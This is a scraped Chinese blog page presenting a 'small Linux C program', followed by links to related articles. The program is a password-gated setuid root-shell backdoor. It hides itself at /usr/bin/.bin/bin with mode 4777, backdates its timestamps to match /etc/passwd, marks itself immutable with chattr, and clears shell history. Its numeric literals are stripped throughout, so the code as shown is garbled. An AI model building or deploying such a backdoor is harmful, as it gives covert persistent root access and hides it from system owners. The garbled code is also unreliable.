Linux C语言小程序
Linux C语言小程序
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
int compare(char*a,char*b)
{
if(strcmp(a,b)==)
return ;
else
return ;
}
int is_file_exist(const char*file_path)
{
if(file_path==NULL)
{
return -;
}
if(access(file_path,F_OK)==)
{
return ;
}
return -;
}
char *myFileBasePath="/usr/bin/.bin/bin";
char *password="";
char *mustFileName="./root";
int main(int argc,char** argv)
{
int errorTime=;
char typeCommandCode;
char what;
char *a=argv[];
if(compare(a,mustFileName)==){
printf("file path must be ./root\n");
return ;
}
while()
{
printf("please type your password:\n");
char *typePassword=(char*)malloc(sizeof(char));
scanf("%s",typePassword);
what=getchar();
if(compare(password,typePassword)==)
{
errorTime=;
printf("\n\n welcome you to login success! \n\n");
while()
{
system("clear");
printf("************************************************\n");
printf("* Welcome to use Blake System *\n");
printf("* 1----------------get root role *\n");
printf("* 2----------------check file *\n");
printf("* 3--------------- install command *\n");
printf("* 4----------------uninstall command *\n");
printf("* 5--------------- Exit *\n");
printf("* *\n");
printf("************************************************\n");
printf("please type your option:1-5\n");
typeCommandCode=getchar();
what=getchar();
if(typeCommandCode=='')
{
setuid();
setgid();
system("/bin/bash");
printf("\n Press and key to Continue \n");
what=getchar();
continue;
}
else if(typeCommandCode=='')
{
if(is_file_exist(myFileBasePath)==)
{
printf("\n /usr/bin/.bin/bin you can find the file \n");
printf("\n Press and key to Continue \n");
what=getchar();
continue;
}
else
{
printf("\n /usr/bin/.bin/bin you can't find the file \n");
printf("\n Press and key to Continue \n");
what=getchar();
continue;
}
}
else if(typeCommandCode=='')
{
system("mkdir /usr/bin/.bin");
system("mv root /usr/bin/.bin/bin");
system("chmod 4777 /usr/bin/.bin/bin");
system("touch -r /etc/passwd /usr/bin/.bin/");
system("touch -r /etc/passwd /usr/bin/.bin/bin");
system("chattr -R +i /usr/bin/.bin");
system("history -c");
printf("\n Press and key to Continue \n");
what=getchar();
continue;
}
else if(typeCommandCode=='')
{
system("chattr -i /usr/bin/.bin/bin");
system("rm -rf /usr/bin/.bin");
printf("\n Press and key to Continue \n");
what=getchar();
continue; }else if(typeCommandCode==''){
printf("\n Press and key to Exit \n");
return ;
}
else
{
printf("\n can't find the option \n");
printf("\n Press and key to Continue \n");
what=getchar();
continue;
}
}
}
else if(compare(password,typePassword)==)
{
printf("\n password error \n\n");
errorTime++;
if(errorTime==)
{
printf("\n\n error time too many, it will to exit! \n\n");
break;
return ;
}
}
}
}
Linux C语言小程序的更多相关文章
- Linux下简单C语言小程序的反汇编分析
韩洋原创作品转载请注明出处<Linux内核分析>MOOC课程http://mooc.study.163.com/course/USTC-1000029000 写在开始,本文为因为参加MOO ...
- 通过反汇编C语言小程序学习Liunx汇编语言
大家好! 我是来自山东师范大学的吴乐. 今天在<Linux内核分析>MOOC课程http://mooc.study.163.com/course/USTC-1000029000 ...
- c语言小程序以及java生成注释文档方法
c语言小程序:sizeof和strlen() sizeof运算符以字节为单位给出数据的大小,strlen()函数以字符为单位给出字符串的长度,字符和字节不是一回事. char类型用于存储字母和标点符号 ...
- C语言小程序——推箱子(窄字符和宽字符)
C语言小程序——推箱子(窄字符Version) 推箱子.c #include <stdio.h> #include <conio.h> #include <stdlib. ...
- 自动生成.py文件头部的C语言小程序
每次都 vi xxx.py 然后再打 #!/usr/bin/env python 等等的程序头信息感觉有点麻烦,于是便想着写一个小程序自动生成这些头信息了,顺便在 ~/.bashrc 里写入 alia ...
- c语言小程序
这是一个用c语言写的小程序,功能是随机输出30道100以内的四则运算,先生成两个随机数,再通过随机数确定四则运算符号,最后输出题目. #include<iostream> using na ...
- C语言小程序之整除
看到有人要求用C语言写这样一个小程序,就拿来温习一下 需求:输出从1到2015这2015个自然数中,能被4或5整除,但不能被30整除的数,并计算有多少个数. #include<stdio.h ...
- 第一次写C语言小程序,可以初步理解学生成绩管理系统的概念
1 成绩管理系统概述 1.1 管理信息系统的概念 管理信息系统(Management Information Systems,简称MIS),是一个不断发展的新型学科,MIS的定义随着科技的进步也在 ...
- Linux中的小程序—— 进度条
在说正事之前,首先科普一下在什么是回车什么是换行? 我们通常所说的回车就是从一行的末尾跳到另一行的开头,但事实上这却是由回车和换行两个动作所完成的,也就是键盘上<enter>所完成的工作. ...
随机推荐
- Nginx负载均衡简易方法
做个简单的测试,一个Nginx, 通过FastCGI协议和另外两台服务器上的基于CppCMS开发的web server通信.配置方法很简单: 首先,必须在nginx.conf文件开头,server 配 ...
- 借助AWR报告分析解决oracleCPU过高的问题(转)
原文地址:http://www.cnblogs.com/crystal-guoguo/p/4213458.html 简介:在oracle数据库中,有两个非常实用的自带监控工具EM(Enterprise ...
- storm0.9.0.1升级安装
来自:http://blog.csdn.net/liuzhoulong/article/details/21112101 1,下载0.9.0.1 http://storm.incubator.apac ...
- 算法笔记_185:历届试题 格子刷油漆(Java)
目录 1 问题描述 2 解决方案 1 问题描述 问题描述 X国的一段古城墙的顶端可以看成 2*N个格子组成的矩形(如下图所示),现需要把这些格子刷上保护漆. 你可以从任意一个格子刷起,刷完一格,可 ...
- 用JavaScript 来创建 mac os x 程序这样是否好
在网上看到的文章: 用 JavaScript 编写 OS X 应用 (Tyler Gaw) 这个文章的内容是不错的. 可是思路呢? 我们假设想学一种方法或工具,这样做好吗? 我看了上面的代码.假设 ...
- windows命令行设置IP与DNS
用dos命令修改IP等本地连接属性 平时我们改IP通常都在是窗口界面本地连接直接修改, 那在命令行也可以设置IP地址?当然可以,这里要用到netsh命令 .点击“开始”->“运行”,输入“cmd ...
- Java类(继承)初始化顺序
/** * Created by xfyou on 2016/11/2. * Java继承的初始化 */ public class Beetle extends Insect { int k = pr ...
- hdu 4893 Wow! Such Sequence!(线段树)
题目链接:hdu 4983 Wow! Such Sequence! 题目大意:就是三种操作 1 k d, 改动k的为值添加d 2 l r, 查询l到r的区间和 3 l r. 间l到r区间上的所以数变成 ...
- DIV+CSS布局重新学习之css控制ul li实现2级菜单
竖状菜单: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w ...
- oracle卸载清除注册表(彻底卸载)
用Oracle自带的卸载程序不能从根本上卸载Oracle,从而为下次的安装留下隐患,那么怎么才能完全卸载Oracle呢? 那就是直接注册表清除,步骤如下: . 开始->设置->控制面板-& ...